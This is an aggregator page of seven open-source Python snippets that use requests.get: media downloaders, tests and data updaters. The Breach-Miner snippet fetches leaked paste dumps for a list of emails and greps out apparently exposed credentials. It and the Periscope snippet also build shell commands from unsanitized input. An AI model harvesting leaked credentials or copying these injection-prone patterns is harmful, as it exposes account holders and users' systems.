requests.get

Here are the examples of the python api requests.get taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

200 Examples 7

Example 1

Project: pyriscope
Source File: processor.py
View license
def process(args):
    # Make sure there are args, do a primary check for help.
    if len(args) == 0 or args[0] in ARGLIST_HELP:
        show_help()

    # Defaults arg flag settings.
    url_parts_list = []
    ffmpeg = True
    convert = False
    clean = False
    rotate = False
    agent_mocking = False
    name = ""
    live_duration = ""
    req_headers = {}

    # Check for ffmpeg.
    if shutil.which("ffmpeg") is None:
        ffmpeg = False

    # Read in args and set appropriate flags.
    cont = None
    for i in range(len(args)):
        if cont == ARGLIST_NAME:
            if args[i][0] in ('\'', '\"'):
                if args[i][-1:] == args[i][0]:
                    cont = None
                    name = args[i][1:-1]
                else:
                    cont = args[i][0]
                    name = args[i][1:]
            else:
                cont = None
                name = args[i]
            continue
        if cont in ('\'', '\"'):
            if args[i][-1:] == cont:
                cont = None
                name += " {}".format(args[i][:-1])
            else:
                name += " {}".format(args[i])
            continue
        if cont == ARGLIST_TIME:
            cont = None
            live_duration = args[i]

        if re.search(URL_PATTERN, args[i]) is not None:
            url_parts_list.append(dissect_url(args[i]))
        if args[i] in ARGLIST_HELP:
            show_help()
        if args[i] in ARGLIST_CONVERT:
            convert = True
        if args[i] in ARGLIST_CLEAN:
            convert = True
            clean = True
        if args[i] in ARGLIST_ROTATE:
            convert = True
            rotate = True
        if args[i] in ARGLIST_AGENTMOCK:
            agent_mocking = True
        if args[i] in ARGLIST_NAME:
            cont = ARGLIST_NAME
        if args[i] in ARGLIST_TIME:
            cont = ARGLIST_TIME


    # Check for URLs found.
    if len(url_parts_list) < 1:
        print("\nError: No valid URLs entered.")
        sys.exit(1)

    # Disable conversion/rotation if ffmpeg is not found.
    if convert and not ffmpeg:
        print("ffmpeg not found: Disabling conversion/rotation.")
        convert = False
        clean = False
        rotate = False

    # Set a mocked user agent.
    if agent_mocking:
        stdout("Getting mocked User-Agent.")
        req_headers['User-Agent'] = get_mocked_user_agent()
    else:
        req_headers['User-Agent'] = DEFAULT_UA


    url_count = 0
    for url_parts in url_parts_list:
        url_count += 1

        # Disable custom naming for multiple URLs.
        if len(url_parts_list) > 1:
            name = ""

        # Public Periscope API call to get information about the broadcast.
        if url_parts['token'] == "":
            req_url = PERISCOPE_GETBROADCAST.format("broadcast_id", url_parts['broadcast_id'])
        else:
            req_url = PERISCOPE_GETBROADCAST.format("token", url_parts['token'])

        stdout("Downloading broadcast information.")
        response = requests.get(req_url, headers=req_headers)
        broadcast_public = json.loads(response.text)

        if 'success' in broadcast_public and broadcast_public['success'] == False:
            print("\nError: Video expired/deleted/wasn't found: {}".format(url_parts['url']))
            continue

        # Loaded the correct JSON. Create file name.
        if name[-3:] == ".ts":
            name = name[:-3]
        if name[-4:] == ".mp4":
            name = name[:-4]
        if name == "":
            broadcast_start_time_end = broadcast_public['broadcast']['start'].rfind('.')
            timezone = broadcast_public['broadcast']['start'][broadcast_start_time_end:]
            timezone_start = timezone.rfind('-') if timezone.rfind('-') != -1 else timezone.rfind('+')
            timezone = timezone[timezone_start:].replace(':', '')
            to_zone = tz.tzlocal()
            broadcast_start_time = broadcast_public['broadcast']['start'][:broadcast_start_time_end]
            broadcast_start_time = "{}{}".format(broadcast_start_time, timezone)
            broadcast_start_time_dt = datetime.strptime(broadcast_start_time, '%Y-%m-%dT%H:%M:%S%z')
            broadcast_start_time_dt = broadcast_start_time_dt.astimezone(to_zone)
            broadcast_start_time = "{}-{:02d}-{:02d} {:02d}-{:02d}-{:02d}".format(
                broadcast_start_time_dt.year, broadcast_start_time_dt.month, broadcast_start_time_dt.day,
                broadcast_start_time_dt.hour, broadcast_start_time_dt.minute, broadcast_start_time_dt.second)
            name = "{} ({})".format(broadcast_public['broadcast']['username'], broadcast_start_time)

        name = sanitize(name)

        # Get ready to start capturing.
        if broadcast_public['broadcast']['state'] == 'RUNNING':
            # Cannot record live stream without ffmpeg.
            if not ffmpeg:
                print("\nError: Cannot record live stream without ffmpeg: {}".format(url_parts['url']))
                continue

            # The stream is live, start live capture.
            name = "{}.live".format(name)

            if url_parts['token'] == "":
                req_url = PERISCOPE_GETACCESS.format("broadcast_id", url_parts['broadcast_id'])
            else:
                req_url = PERISCOPE_GETACCESS.format("token", url_parts['token'])

            stdout("Downloading live stream information.")
            response = requests.get(req_url, headers=req_headers)
            access_public = json.loads(response.text)

            if 'success' in access_public and access_public['success'] == False:
                print("\nError: Video expired/deleted/wasn't found: {}".format(url_parts['url']))
                continue

            time_argument = ""
            if not live_duration == "":
                time_argument = " -t {}".format(live_duration)

            live_url = FFMPEG_LIVE.format(
                url_parts['url'],
                req_headers['User-Agent'],
                access_public['hls_url'],
                time_argument,
                name)

            # Start downloading live stream.
            stdout("Recording stream to {}.ts".format(name))

            Popen(live_url, shell=True, stdout=PIPE).stdout.read()

            stdoutnl("{}.ts Downloaded!".format(name))

            # Convert video to .mp4.
            if convert:
                stdout("Converting to {}.mp4".format(name))

                if rotate:
                    Popen(FFMPEG_ROT.format(name), shell=True, stdout=PIPE).stdout.read()
                else:
                    Popen(FFMPEG_NOROT.format(name), shell=True, stdout=PIPE).stdout.read()

                stdoutnl("Converted to {}.mp4!".format(name))

                if clean and os.path.exists("{}.ts".format(name)):
                    os.remove("{}.ts".format(name))
            continue

        else:
            if not broadcast_public['broadcast']['available_for_replay']:
                print("\nError: Replay unavailable: {}".format(url_parts['url']))
                continue

            # Broadcast replay is available.
            if url_parts['token'] == "":
                req_url = PERISCOPE_GETACCESS.format("broadcast_id", url_parts['broadcast_id'])
            else:
                req_url = PERISCOPE_GETACCESS.format("token", url_parts['token'])

            stdout("Downloading replay information.")
            response = requests.get(req_url, headers=req_headers)
            access_public = json.loads(response.text)

            if 'success' in access_public and access_public['success'] == False:
                print("\nError: Video expired/deleted/wasn't found: {}".format(url_parts['url']))
                continue

            base_url = access_public['replay_url']
            base_url_parts = dissect_replay_url(base_url)

            req_headers['Cookie'] = "{}={};{}={};{}={}".format(access_public['cookies'][0]['Name'],
                                                               access_public['cookies'][0]['Value'],
                                                               access_public['cookies'][1]['Name'],
                                                               access_public['cookies'][1]['Value'],
                                                               access_public['cookies'][2]['Name'],
                                                               access_public['cookies'][2]['Value'])
            req_headers['Host'] = "replay.periscope.tv"

            # Get the list of chunks to download.
            stdout("Downloading chunk list.")
            response = requests.get(access_public['replay_url'], headers=req_headers)
            chunks = response.text
            chunk_pattern = re.compile(r'chunk_\d+\.ts')

            download_list = []
            for chunk in re.findall(chunk_pattern, chunks):
                download_list.append(
                    {
                        'url': REPLAY_URL.format(base_url_parts['key'], chunk),
                        'file_name': chunk
                    }
                )

            # Download chunk .ts files and append them.
            pool = ThreadPool(name, DEFAULT_DL_THREADS, len(download_list))

            temp_dir_name = ".pyriscope.{}".format(name)
            if not os.path.exists(temp_dir_name):
                os.makedirs(temp_dir_name)

            stdout("Downloading replay {}.ts.".format(name))

            for chunk_info in download_list:
                temp_file_path = "{}/{}".format(temp_dir_name, chunk_info['file_name'])
                chunk_info['file_path'] = temp_file_path
                pool.add_task(download_chunk, chunk_info['url'], req_headers, temp_file_path)

            pool.wait_completion()

            if os.path.exists("{}.ts".format(name)):
                try:
                    os.remove("{}.ts".format(name))
                except:
                    stdoutnl("Failed to delete preexisting {}.ts.".format(name))

            with open("{}.ts".format(name), 'wb') as handle:
                for chunk_info in download_list:
                    file_path = chunk_info['file_path']
                    if not os.path.exists(file_path) or os.path.getsize(file_path) == 0:
                        break
                    with open(file_path, 'rb') as ts_file:
                        handle.write(ts_file.read())

            # don't delete temp if the download had missing chunks, just in case
            if pool.is_complete() and os.path.exists(temp_dir_name):
                try:
                    shutil.rmtree(temp_dir_name)
                except:
                    stdoutnl("Failed to delete temp folder: {}.".format(temp_dir_name))

            if pool.is_complete():
                stdoutnl("{}.ts Downloaded!".format(name))
            else:
                stdoutnl("{}.ts partially Downloaded!".format(name))

            # Convert video to .mp4.
            if convert:
                stdout("Converting to {}.mp4".format(name))

                if rotate:
                    Popen(FFMPEG_ROT.format(name), shell=True, stdout=PIPE).stdout.read()
                else:
                    Popen(FFMPEG_NOROT.format(name), shell=True, stdout=PIPE).stdout.read()

                stdoutnl("Converted to {}.mp4!".format(name))

                if clean and os.path.exists("{}.ts".format(name)):
                    try:
                        os.remove("{}.ts".format(name))
                    except:
                        stdout("Failed to delete {}.ts.".format(name))

    sys.exit(0)

Example 2

Project: pybossa
Source File: cli.py
View license
def bootstrap_avatars():
    """Download current links from user avatar and projects to real images hosted in the
    PyBossa server."""
    import requests
    import os
    import time
    from urlparse import urlparse
    from PIL import Image

    def get_gravatar_url(email, size):
        # import code for encoding urls and generating md5 hashes
        import urllib, hashlib

        # construct the url
        gravatar_url = "http://www.gravatar.com/avatar/" + hashlib.md5(email.lower()).hexdigest() + "?"
        gravatar_url += urllib.urlencode({'d':404, 's':str(size)})
        return gravatar_url

    with app.app_context():
        if app.config['UPLOAD_METHOD'] == 'local':
            users = User.query.order_by('id').all()
            print "Downloading avatars for %s users" % len(users)
            for u in users:
                print "Downloading avatar for %s ..." % u.name
                container = "user_%s" % u.id
                path = os.path.join(app.config.get('UPLOAD_FOLDER'), container)
                try:
                    print get_gravatar_url(u.email_addr, 100)
                    r = requests.get(get_gravatar_url(u.email_addr, 100), stream=True)
                    if r.status_code == 200:
                        if not os.path.isdir(path):
                            os.makedirs(path)
                        prefix = time.time()
                        filename = "%s_avatar.png" % prefix
                        with open(os.path.join(path, filename), 'wb') as f:
                            for chunk in r.iter_content(1024):
                                f.write(chunk)
                        u.info['avatar'] = filename
                        u.info['container'] = container
                        db.session.commit()
                        print "Done!"
                    else:
                        print "No Gravatar, this user will use the placeholder."
                except:
                    raise
                    print "No gravatar, this user will use the placehoder."


            apps = Project.query.all()
            print "Downloading avatars for %s projects" % len(apps)
            for a in apps:
                if a.info.get('thumbnail') and not a.info.get('container'):
                    print "Working on project: %s ..." % a.short_name
                    print "Saving avatar: %s ..." % a.info.get('thumbnail')
                    url = urlparse(a.info.get('thumbnail'))
                    if url.scheme and url.netloc:
                        container = "user_%s" % a.owner_id
                        path = os.path.join(app.config.get('UPLOAD_FOLDER'), container)
                        try:
                            r = requests.get(a.info.get('thumbnail'), stream=True)
                            if r.status_code == 200:
                                prefix = time.time()
                                filename = "app_%s_thumbnail_%i.png" % (a.id, prefix)
                                if not os.path.isdir(path):
                                    os.makedirs(path)
                                with open(os.path.join(path, filename), 'wb') as f:
                                    for chunk in r.iter_content(1024):
                                        f.write(chunk)
                                a.info['thumbnail'] = filename
                                a.info['container'] = container
                                db.session.commit()
                                print "Done!"
                        except:
                            print "Something failed, this project will use the placehoder."
        if app.config['UPLOAD_METHOD'] == 'rackspace':
            import pyrax
            import tempfile
            pyrax.set_setting("identity_type", "rackspace")
            pyrax.set_credentials(username=app.config['RACKSPACE_USERNAME'],
                                  api_key=app.config['RACKSPACE_API_KEY'],
                                  region=app.config['RACKSPACE_REGION'])

            cf = pyrax.cloudfiles
            users = User.query.all()
            print "Downloading avatars for %s users" % len(users)
            dirpath = tempfile.mkdtemp()
            for u in users:
                try:
                    r = requests.get(get_gravatar_url(u.email_addr, 100), stream=True)
                    if r.status_code == 200:
                        print "Downloading avatar for %s ..." % u.name
                        container = "user_%s" % u.id
                        try:
                            cf.get_container(container)
                        except pyrax.exceptions.NoSuchContainer:
                            cf.create_container(container)
                            cf.make_container_public(container)
                        prefix = time.time()
                        filename = "%s_avatar.png" % prefix
                        with open(os.path.join(dirpath, filename), 'wb') as f:
                            for chunk in r.iter_content(1024):
                                f.write(chunk)
                        chksum = pyrax.utils.get_checksum(os.path.join(dirpath,
                                                                       filename))
                        cf.upload_file(container,
                                       os.path.join(dirpath, filename),
                                       obj_name=filename,
                                       etag=chksum)
                        u.info['avatar'] = filename
                        u.info['container'] = container
                        db.session.commit()
                        print "Done!"
                    else:
                        print "No Gravatar, this user will use the placeholder."
                except:
                    print "No gravatar, this user will use the placehoder."


            apps = Project.query.all()
            print "Downloading avatars for %s projects" % len(apps)
            for a in apps:
                if a.info.get('thumbnail') and not a.info.get('container'):
                    print "Working on project: %s ..." % a.short_name
                    print "Saving avatar: %s ..." % a.info.get('thumbnail')
                    url = urlparse(a.info.get('thumbnail'))
                    if url.scheme and url.netloc:
                        container = "user_%s" % a.owner_id
                        try:
                            cf.get_container(container)
                        except pyrax.exceptions.NoSuchContainer:
                            cf.create_container(container)
                            cf.make_container_public(container)

                        try:
                            r = requests.get(a.info.get('thumbnail'), stream=True)
                            if r.status_code == 200:
                                prefix = time.time()
                                filename = "app_%s_thumbnail_%i.png" % (a.id, prefix)
                                with open(os.path.join(dirpath, filename), 'wb') as f:
                                    for chunk in r.iter_content(1024):
                                        f.write(chunk)
                                chksum = pyrax.utils.get_checksum(os.path.join(dirpath,
                                                                               filename))
                                cf.upload_file(container,
                                               os.path.join(dirpath, filename),
                                               obj_name=filename,
                                               etag=chksum)
                                a.info['thumbnail'] = filename
                                a.info['container'] = container
                                db.session.commit()
                                print "Done!"
                        except:
                            print "Something failed, this project will use the placehoder."

Example 3

Project: Breach-Miner
Source File: breachminer.py
View license
def invokeBM(EmailList):
    os.system('clear')
    print banner
    print ("|n")
    choice = raw_input("\033[92m [*] Do you want to go for a detailed analysis \033[93m[Y/N] : ")
    flag = 'false'
    count = 1
    banner_html = create_html()
    html_file = 'Files/Results.html'
    print ("\n  [*] "+"\033[92m"+"I am mining ... Sit back and relax !!!")
    try:
        with open(html_file, 'w') as res:
            res.write(banner_html)
            with open(EmailList) as f:
                for email in f:
                    Url1 = urllib.quote(email, safe='')
                    Url = BaseUrl+Url1
                    Url = Url[:-3]
                    headers = None
                    r = requests.get(Url, headers = headers)
                    try:
                        JsonData =  (r.json())
                    except ValueError:
                        print "\n \033[31m [*] No data found for " + email
                        
                    if (r.status_code == 200):
                        print ('\n')
                        print ("\033[94m *************************************************************************************")
                        print '  \033[93m  [*] Located email account in leaked data dumps for : \033[93m'+email
                        print ("\033[94m *************************************************************************************")
                        print ('\n')
                        for item in JsonData:
                            source = item.get('Source')
                            did = item.get('Id')
                            title = item.get('Title')
                            if title is None:
                                title = "None"
                                
                            if choice.lower() == 'n':
                                print ('\n')
                                print "\033[92m Title of the dump : "+title
                                print "\033[92m Source of the dump : "+source
                                print "\033[92m Breach data can be found at : "+source+"/"+did
                                print ('\n')
                                
                            if choice.lower() == 'y':
                                if source == 'Pastebin':
                                    puid = did
                                    headers = None
                                    purl = 'http://pastebin.com/raw.php?i='+puid
                                    purl1 = 'http://pastebin.com/'+puid
                                    r1 = requests.get(purl, headers = headers)
                                    if r1.status_code != 302:
                                        if r1.status_code != 404:
                                            print '\n'
                                            print "\033[94m"+"=============================================================================================================="
                                            print "\033[98m [*]   Got It !!! Dump found at 033[31m "+purl+' for email account \033[93m'+email
                                            print "\033[94m"+"=============================================================================================================="
                                            CurrPath =  os.getcwd()+'/tmp.txt'
                                            grab = str('wget '+purl+' -O  '+CurrPath+' > /dev/null 2>&1')
                                            os.system(grab)
                                            #CredMiner(CurrPath, email)
                                            print '\033[92m'
                                            os.system('cat '+CurrPath+' | grep -B 1 -A 1 '+email)
                                            p = subprocess.Popen('cat '+CurrPath+' | grep -B 1 -A 1 '+email, stdout=subprocess.PIPE, shell=True)
                                            (output, err) = p.communicate()
                                            p1 = subprocess.Popen('cat '+CurrPath+' | grep '+email, stdout=subprocess.PIPE, shell=True)
                                            (output1, err1) = p1.communicate()
                                            #print output
                                            res.write('<div style="color: #1aff1a;"">')
                                            res.write('<h4>Data for email account : %s </h4>'%email)
                                            print '\033[31m'
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output))
                                            res.write('<p> [*] More Accurate Details : ')
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output1))
                                            res.write('</div><br>')
                                            if os.path.exists(CurrPath):
                                                #os.system('mv '+CurrPath+' tmp.txt.bkp')
                                                os.system('rm '+CurrPath)
                                            
                                        else:
                                            print "\n \033[31m [*] Sorry !!! The pastebin dumb seems to be missing at "+source+"/"+did+"  :( "
                                            if (count == '1') or (flag != 'true'):
                                                s = raw_input('\033[92m Do you want to search archives for the missing data A(All)/Y(Only This)/N(No) : ')
                                                count = 0
                                            if s.lower() == 'a':
                                                flag = 'true'
                                            if (s.lower() == 'y') or (flag == 'true'):
                                                cache_search(purl1, email) 
                                                                                  
                                
                                if source == 'Pastie':
                                    puid = did
                                    headers = None
                                    purl = 'http://pastie.org/pastes/' + puid + '/text'
                                    purl1 = 'http://pastie.org/pastes/'+puid
                                    r1 = requests.get(purl, headers = headers)
                                    if r1.status_code != 302:
                                        if r1.status_code != 404:
                                            print '\n'
                                            print "\033[94m"+"=============================================================================================================="
                                            print "\033[98m [*]   Got It !!! Dump found at 033[31m "+purl+' for email account \033[93m'+email
                                            print "\033[94m"+"=============================================================================================================="
                                            CurrPath =  os.getcwd()+'/tmp.txt'
                                            grab = str('wget '+purl+' -O  '+CurrPath+' > /dev/null 2>&1')
                                            os.system(grab)
                                            #CredMiner(CurrPath, email)
                                            print '\033[92m'
                                            os.system('cat '+CurrPath+' | grep -B 1 -A 1 '+email)
                                            p = subprocess.Popen('cat '+CurrPath+' | grep -B 1 -A 1 '+email, stdout=subprocess.PIPE, shell=True)
                                            (output, err) = p.communicate()
                                            p1 = subprocess.Popen('cat '+CurrPath+' | grep '+email, stdout=subprocess.PIPE, shell=True)
                                            (output1, err1) = p1.communicate()
                                            #print output
                                            res.write('<div style="color: #1aff1a;"">')
                                            res.write('<h4>Data for email account : %s </h4>'%email)
                                            print '\033[31m'
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output))
                                            res.write('<p> [*] More Accurate Details : ')
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output1))
                                            res.write('</div><br>')
                                            if os.path.exists(CurrPath):
                                                #os.system('mv '+CurrPath+' tmp.txt.bkp')
                                                os.system('rm '+CurrPath)
                                                
                                        else:
                                            print "\n \033[31m [*] Sorry !!! The pastie dumb seems to be missing at "+source+"/"+did+"  :( "
                                            if (count == '1') or (flag != 'true'):
                                                s = raw_input('\033[92m Do you want to search archives for the missing data A(All)/Y(Only This)/N(No) : ')
                                                count = 0
                                            if s.lower() == 'a':
                                                flag = 'true'
                                            if (s.lower() == 'y') or (flag == 'true'):
                                                cache_search(purl1, email) 
                                            
                                            
                                if source == 'Slexy':
                                    puid = did
                                    headers = {'Referer': 'http://slexy.org/view/' + puid}
                                    purl = 'http://slexy.org/raw/' + puid
                                    purl1 = 'http://slexy.org/view/'+puid
                                    r1 = requests.get(purl, headers = headers)
                                    if r1.status_code != 302:
                                        if r1.status_code != 404:
                                            print '\n'
                                            print "\033[94m"+"=============================================================================================================="
                                            print "\033[98m [*]   Got It !!! Dump found at 033[31m"+purl+' for email account \033[93m'+email
                                            print "\033[94m"+"=============================================================================================================="
                                            CurrPath =  os.getcwd()+'/tmp.txt'
                                            grab = str('wget '+purl+' -O  '+CurrPath+' > /dev/null 2>&1')
                                            os.system(grab)
                                            #CredMiner(CurrPath, email)
                                            print '\033[92m'
                                            os.system('cat '+CurrPath+' | grep -B 1 -A 1 '+email)
                                            p = subprocess.Popen('cat '+CurrPath+' | grep -B 1 -A 1 '+email, stdout=subprocess.PIPE, shell=True)
                                            (output, err) = p.communicate()
                                            p1 = subprocess.Popen('cat '+CurrPath+' | grep '+email, stdout=subprocess.PIPE, shell=True)
                                            (output1, err1) = p1.communicate()
                                            #print output
                                            res.write('<div style="color: #1aff1a;"">')
                                            res.write('<h4>Data for email account : %s </h4>'%email)
                                            print '\033[31m'
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output))
                                            res.write('<p> [*] More Accurate Details : ')
                                            res.write('<p> [*] The dump may be found at %s.\033[92m <br> [*] Details : <br> %s </p>'%(purl1, output1))
                                            res.write('</div><br>')
                                            if os.path.exists(CurrPath):
                                                #os.system('mv '+CurrPath+' tmp.txt.bkp')
                                                os.system('rm '+CurrPath)
                                            
                                        else:
                                            print "\n \033[31m [*] Sorry !!! The slexy dumb seems to be missing at "+source+"/"+did+"  :( "
                                            if (count == '1') or (flag != 'true'):
                                                s = raw_input('\033[92m Do you want to search archives for the missing data A(All)/Y(Only This)/N(No) : ')
                                                count = 0
                                            if s.lower() == 'a':
                                                flag = 'true'
                                            if (s.lower() == 'y') or (flag == 'true'):
                                                cache_search(purl1, email) 
            f.close()
        res.close()
    except:
        print 'Something went wrong.. May be I donot have that much skills :('

Example 4

Project: eve-mocker
Source File: test_eve_mocker.py
View license
    def testAPI(self):
        """ Testing all client features. """
        mymodel_url = api_url("mymodel")
        mymodel1 = {"testpk": "mypk1", "content": "test content"}

        # Check that mymodel resource is empty
        response = requests.get(mymodel_url)
        data = response.json()

        expect(response.status_code).to.equal(200)
        expect(data).to.have.key("_items")
        expect(data["_items"]).to.be.empty

        # Posting mymodel1
        response = requests.post(mymodel_url,
                                 {"mymodel1": json.dumps(mymodel1)})
        data = response.json()

        # Check the status of the item and if it has an etag
        expect(response.status_code).to.equal(200)
        expect(data).to.have.key("mymodel1")
        expect(data["mymodel1"]["status"]).to.equal("OK")
        expect(data["mymodel1"]).to.have.key("etag")

        # Storing the ETag for later
        mymodel1_etag = data["mymodel1"]["etag"]

        # Check that it has actually been created
        response = requests.get(mymodel_url)
        mymodel1_test = mymodel1.copy()
        mymodel1_test.update({"etag": data["mymodel1"]["etag"]})

        expect(response.status_code).to.equal(200)
        expect(response.json()).to.equal({"_items": [mymodel1_test]})

        # Check if we can retrieve the item via its URI
        response = requests.get(api_url("mymodel/mypk1/"))
        data = response.json()

        expect(response.status_code).to.equal(200)

        expect(data).to.equal(mymodel1_test)

        # Check that we CAN'T rePOST mymodel1 with the same primary key
        response = requests.post(mymodel_url,
                                 {"mymodel1": json.dumps(mymodel1)})
        data = response.json()

        expect(response.status_code).to.equal(200)
        expect(data).to.have.key("mymodel1")
        expect(data["mymodel1"]["status"]).to.equal("ERR")

        # Now we try to PATCH the item without If-Match header
        mymodel1_patch = {"content": "new content"}
        response = requests.patch(api_url("mymodel/mypk1/"),
                                  {"data": json.dumps(mymodel1_patch)})

        expect(response.status_code).to.equal(403)

        # Check that it doesn't work with the wrong ETag
        response = requests.patch(api_url("mymodel/mypk1/"),
                                  {"data": json.dumps(mymodel1_patch)},
                                  headers={"If-Match": "falsyetag"})

        expect(response.status_code).to.equal(412)

        # Finally we PATCH with the good ETag
        response = requests.patch(api_url("mymodel/mypk1/"),
                                  {"data": json.dumps(mymodel1_patch)},
                                  headers={"If-Match": mymodel1_etag})
        data = response.json()

        expect(response.status_code).to.equal(200)
        expect(data).to.have.key("data")
        expect(data["data"]["status"]).to.equal("OK")
        expect(data["data"]).to.have.key("etag")

        mymodel1_etag = data["data"]["etag"]
        mymodel1_test.update({"etag": mymodel1_etag,
                              "content": "new content"})

        # Check if the item has been updated
        response = requests.get(api_url("mymodel/mypk1/"))
        data = response.json()

        expect(response.status_code).to.equal(200)
        expect(data).to.equal(mymodel1_test)

        # Delete without ETag should return 403
        response = requests.delete(api_url("mymodel/mypk1/"))

        expect(response.status_code).to.equal(403)

        # Delete with a WRONG ETag should return 412
        response = requests.delete(api_url("mymodel/mypk1/"),
                                   headers={"If-Match": "wrongetag"})

        expect(response.status_code).to.equal(412)

        # Now we delete it the right way
        response = requests.delete(api_url("mymodel/mypk1/"),
                                   headers={"If-Match": mymodel1_etag})

        expect(response.status_code).to.equal(200)

        # Check that mymodel resource is empty
        response = requests.get(mymodel_url)
        data = response.json()

        expect(response.status_code).to.equal(200)
        expect(data).to.have.key("_items")
        expect(data["_items"]).to.be.empty

Example 5

Project: federal_spending
Source File: daily_update.py
View license
    def handle(self, day=None, type='all', *args, **kwargs):

        try:
            print "deleting files in /datafeeds and /out"
            
            OUTPATH = settings.CSV_PATH + 'out/'
            
            for f in os.listdir(OUTPATH):
                os.remove(OUTPATH + f)
            
            INPATH = settings.CSV_PATH + 'datafeeds/'
            for f in os.listdir(INPATH):
                os.remove(INPATH + f)

            base_url = 'http://www.usaspending.gov/customcode/build_feed.php?data_source=PrimeAward&detail_level=Complete&ou_code=All&is_dept=false&recipient_state=All&pop_state=All&format=CSV&recovery_only=&record_count=10000000000'

            if not day:
                day = datetime.datetime.now() - datetime.timedelta(days=1)
                day = day.strftime("%Y-%m-%d")

            print "Downloading new files"

            for fy in settings.FISCAL_YEARS:
                url = base_url + '&fiscal_year=' + str(fy) + '&since=' + day
                #grant files
                c = requests.get(url + '&spending_category=Grants')
                outf = open(INPATH + str(fy) + '_All_Grants_Delta_' + day + '.csv', 'w')
                outf.write(c.content)

                c = requests.get(url + '&spending_category=DirectPayments')
                if c.content:
                    outf.write(c.content[c.content.index('\n')+1:])

                c = requests.get(url + '&spending_category=Insurance')
                if c.content:
                    outf.write(c.content[c.content.index('\n')+1:])

                c = requests.get(url + '&spending_category=Loans')
                if c.content:
                    outf.write(c.content[c.content.index('\n')+1:])

                c = requests.get(url + '&spending_category=Contracts')
                outf = open(INPATH + str(fy) + '_All_Contracts_Delta_' + day + '.csv', 'w')
                outf.write(c.content)


            print "sleeping for a minute"
            time.sleep(60)

            print "processing downloaded files into proper format"
            management.call_command('convert_usaspending_contracts')
            management.call_command('convert_usaspending_grants')

            print "looping through files"
            for sname in os.listdir(OUTPATH):
                if 'contracts' in sname:
                    self.process_contract_file(sname, OUTPATH)

                if 'grants' in sname:   
                    self.process_grant_file(sname, OUTPATH)
        except Exception as e:
            logging.debug("An exception was thrown: %s" % e)

Example 6

Project: OpenDCRE
Source File: test_power.py
View license
    def test_001_get_power_status(self):
        # expected raw 0
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)

        # reset the emulator to start at 0,0,0,0, or give up after 8 tries
        # (previous iterations of the old power tests leave the emulator mid-stream)
        i = 0
        while response['pmbus_raw'] != '0,0,0,0':
            r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
            self.assertEqual(r.status_code, 200)
            response = json.loads(r.text)
            i += 1
            self.assertLess(i, 8)

        self.assertEqual(response["pmbus_raw"], "0,0,0,0")
        self.assertEqual(response["power_status"], "on")
        self.assertEqual(response["power_ok"], True)
        self.assertEqual(response["over_current"], False)
        self.assertEqual(response["under_voltage"], False)

        # expected raw 64 (0x40) - when off, power_ok and under_voltage
        # and under_current don't have any meaning
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)
        self.assertEqual(response["pmbus_raw"], "64,0,0,0")
        self.assertEqual(response["power_status"], "off")
        self.assertEqual(response["power_ok"], True)
        self.assertEqual(response["over_current"], False)
        self.assertEqual(response["under_voltage"], False)

        # expected raw 2048 (0x800) - power problem but not
        # something related to under voltage or over current condition
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)
        self.assertEqual(response["pmbus_raw"], "2048,0,0,0")
        self.assertEqual(response["power_status"], "on")
        self.assertEqual(response["power_ok"], False)
        self.assertEqual(response["over_current"], False)
        self.assertEqual(response["under_voltage"], False)

        # expected raw 2048+8=2056 (0x1010) - power problem due to under voltage
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)
        self.assertEqual(response["pmbus_raw"], "2056,0,0,0")
        self.assertEqual(response["power_status"], "on")
        self.assertEqual(response["power_ok"], False)
        self.assertEqual(response["over_current"], False)
        self.assertEqual(response["under_voltage"], True)

        # expected raw 2048+16=2064 (0x1020) - power problem due to over current
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)
        self.assertEqual(response["pmbus_raw"], "2064,0,0,0")
        self.assertEqual(response["power_status"], "on")
        self.assertEqual(response["power_ok"], False)
        self.assertEqual(response["over_current"], True)
        self.assertEqual(response["under_voltage"], False)

        # expected raw 2072 (0x1030)
        r = requests.get(PREFIX+"/power/0000001E/01FF", auth=HTTPBasicAuth(TEST_USERNAME, TEST_PASSWORD), verify=SSL_CERT)
        self.assertEqual(r.status_code, 200)
        response = json.loads(r.text)
        self.assertEqual(response["pmbus_raw"], "2072,0,0,0")
        self.assertEqual(response["power_status"], "on")
        self.assertEqual(response["power_ok"], False)
        self.assertEqual(response["over_current"], True)
        self.assertEqual(response["under_voltage"], True)

Example 7

Project: python-consul
Source File: conftest.py
View license
def start_consul_instance(acl_master_token=None):
    """
    starts a consul instance. if acl_master_token is None, acl will be disabled
    for this server, otherwise it will be enabled and the master token will be
    set to the supplied token

    returns: a tuple of the instances process object and the http port the
             instance is listening on
    """
    ports = dict(zip(
        ['http', 'rpc', 'serf_lan', 'serf_wan', 'server', 'dns'],
        get_free_ports(5) + [-1]))

    config = {'ports': ports}
    if acl_master_token:
        config['acl_datacenter'] = 'dc1'
        config['acl_master_token'] = acl_master_token

